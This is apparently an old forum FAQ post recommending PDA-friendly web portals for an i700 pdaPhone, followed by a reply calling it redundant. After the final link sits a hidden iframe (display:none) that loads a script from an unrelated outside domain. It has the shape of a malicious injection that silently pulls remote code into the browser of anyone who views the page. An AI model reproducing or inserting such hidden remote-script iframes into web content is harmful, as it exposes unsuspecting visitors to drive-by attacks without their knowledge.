    Are there any portal sites that I can use with my i700?

    You can pretty much browse any website that you like, however your experience will be better if you focus on sites that are designed for a PDA. Remember that most websites are designed for a standard solution of 800x600 or greater. They are also increasingly assuming the users have the bandwidth to support a lot of graphics. The good part, is that the core information is actually more easily found sometimes when you pull back all the bells and whistles. If you are using a pdaPhone over a relatively slow wireless connection, this becomes critical. Here are the PDA enabled sites that I have found to be the most usable.
    <a class="postlink" target="_blank" href="http://www.smartphoneforums.com/phpBB2/portalpda.php">pdaPhoneHome - PDA Edition</a> - You've got to have it!
    <a class="postlink" target="_blank" href="http://blazer.handspring.com/blazer">Handspring Blazer Portal</a> - Yes, I'm serious... this site seems to offer all the things your looking for, no frills, and VERY usable the first time you use it.
    <a class="postlink" target="_blank" href="http://www.mymobilestuff.com">MyMobileStuff.com</a> - This is an attempt to pull all the PDA enabled sites together, but there is so much there that it can get overwhelming... the key is to setup your profile for the sites you use.
    <a class="postlink" target="_blank" href="http://mobile.msn.com/pocketpc">MSN Mobile</a> - Microsoft has good information here formatted for a PDA, but they also have lots of graphics and frills which add to your bandwidth load.
    <a class="postlink" target="_blank" href="http://www.urthere.com/mobile/lin">urThere.com</a> - A decent portal to lots of PDA enabled sites.
    <a class="postlink" target="_blank" href="http://www.yubee.com">Yubee</a> - A personalized portal to lots of PDA enabled sites.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

    Thumbs down redundant

    This question and answer are redundant with one two up on the FAQ list.
